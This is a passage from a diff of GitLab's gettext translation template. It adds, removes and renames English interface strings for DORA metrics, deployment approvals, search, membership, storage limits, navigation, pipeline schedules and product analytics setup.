+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12173,6 +12314,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12185,7 +12329,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12206,6 +12353,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12227,6 +12380,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12245,6 +12404,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12266,6 +12434,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12275,6 +12449,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12290,9 +12467,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13210,11 +13384,10 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13279,6 +13452,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13660,9 +13836,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13678,6 +13860,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13761,6 +13949,12 @@ msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
msgstr[1] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14030,7 +14224,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14255,6 +14449,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14746,6 +14943,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15943,10 +16143,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15955,9 +16152,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16455,9 +16649,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16491,9 +16682,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -16813,9 +17001,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17241,9 +17426,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17562,16 +17744,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Format: %{dateFormat}"
-msgstr ""
-
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17669,6 +17848,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18327,9 +18509,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18743,6 +18922,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18755,6 +18937,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18779,6 +18967,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18797,6 +18988,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18809,9 +19003,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19136,6 +19336,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19298,7 +19504,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19781,9 +19987,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -19838,6 +20050,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19847,6 +20062,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19856,6 +20077,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19973,6 +20197,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20284,6 +20511,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20698,9 +20931,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20722,6 +20952,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20942,12 +21175,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22006,7 +22251,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22068,9 +22313,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22221,6 +22475,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23423,6 +23680,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23471,6 +23731,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23615,9 +23878,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -23933,9 +24193,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24096,9 +24353,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24231,6 +24485,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24300,9 +24557,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -25056,6 +25310,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25071,9 +25328,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25173,6 +25427,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25242,9 +25499,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25257,9 +25511,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25599,6 +25850,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25636,6 +25890,9 @@ msgstr[1] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25645,6 +25902,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25666,10 +25938,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25678,9 +25950,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25708,6 +25986,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25735,6 +26016,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26020,10 +26307,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26083,6 +26373,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26510,6 +26803,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -26906,6 +27205,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26930,6 +27232,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -26939,6 +27244,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -26962,24 +27270,36 @@ msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_c
msgstr[0] ""
msgstr[1] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
+msgstr ""
+
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions become restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27073,6 +27393,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -27201,9 +27542,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27519,9 +27857,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -27698,6 +28033,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28234,13 +28584,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28291,6 +28635,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -28718,6 +29074,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28883,6 +29242,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29308,12 +29670,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29472,9 +29828,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29617,12 +29970,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30154,7 +30501,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30169,6 +30516,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30181,6 +30531,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30208,6 +30561,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30226,6 +30585,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31180,9 +31542,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31240,6 +31599,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31267,7 +31629,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31282,9 +31647,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31396,6 +31758,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31408,27 +31773,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
